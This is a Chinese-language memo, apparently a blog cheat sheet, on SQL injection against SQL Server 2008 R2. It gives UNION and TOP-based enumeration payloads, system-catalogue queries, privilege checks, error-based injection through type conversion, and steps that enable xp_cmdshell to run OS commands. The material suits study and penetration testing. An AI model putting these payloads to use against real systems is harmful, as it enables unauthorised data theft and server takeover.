MSSQL注入备忘录
暂时记录下 SQLServer 2008R2 注入的一些要点,因为不版本有差异性,对于差异性的内容,以后再补充
示例数据库内容:
id | username | password |
---|---|---|
1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
2 | test | 098f6bcd4621d373cade4e832627b4f6 |
3 | guest | 084e0343a0486ff05530df6c705c8bb4 |
4 | root | 63a9f0ea7bb98050796b649e85481845 |
5 | system | 54b53072540eeeb8f8e9343e71f28176 |
MYSQL 和 MSSQL 差异点
类型转换问题
1 | select username,password from users where id = 1 union select 1,2 |
这条语句,针对 MYSQL 的话,是正确的,但是如果在 MSSQL 中,因为 username,password 的类型为 varchar ,但 1,2 的类型为 int,执行时,会出现类型转换错误。这里涉及到一个隐式转换的问题。
所以,在构造正常语句时,可以如下构造
1 | select username,password from users where id = 1 union select '1','2', -- 但这样不太容易确定哪几列为varchar类型,可采用另一种方式 |
limit 问题
在 MYSQL 中,我们可以通过 group_concat 或者 limit 等方法来遍历数据
1 | select username,password from users where id = 1 union select 1,(select group_concat(username) from users) |
但是在 MSSQL 中,没有 group_concat 函数和 limit 语句,这里,我们可以利用 MSSQL 的 top 语法
1 | select username,password from users where id = 1 union select null,(select top 1 username from users where username not in (select top 1 username from users)) |
top 的含义为取出前几条,top 1 为前1条数据,top 2 为取出前两条输出,之后的 not in 相当于排除掉后面子查询查询到的内容,通过这样,遍历第二个 top 后的数字,便可遍历整张数据表
常用函数与语句
常用语句
查询所有数据库
1 | select name from master..sysdatabases |
查询当前数据库的所有数据表
1 | select table_name from information_schema.tables -- 查询 INFORMATION_SCHEMA 视图 |
查询当前数据库中任意数据表的字段名
1 | select column_name from information_schema.columns -- 查询 INFORMATION_SCHEMA 视图 |
常用函数
- is_srvrolemember(‘sysadmin’) // 判断是否是系统管理员
- db_name() // 不带任何参数为当前数据库
- @@VERSION // 数据库版本
- suser_name() 当前登录的用户名
- has_dbaccess(‘master’) // 判断是否有库读取权限
- @@servername // 本地服务名
- is_member(‘db_owner’)) // 判断是否是库权限
报错注入
MSSQL 的报错注入,主要利用的是在类型转化错误时,会显示出类型转换失败的值,如下所示
类型转换函数
CAST ( expression AS data_type )
CONVERT (data_type[(length)], expression [, style])
MSSQL 命令执行
判断扩展存储是否存在:
1 | select count(*) FROM master.dbo.sysobjects where name= 'xp_regread' |
开启 xp_cmdshell:
1 | exec sp_configure 'show advanced options', 1;reconfigure; |
关闭 xp_cmdshell:
1 | exec sp_configure 'show advanced options', 1;reconfigure; |
执行命令:
1 | exec xp_cmdshell 'whoami' |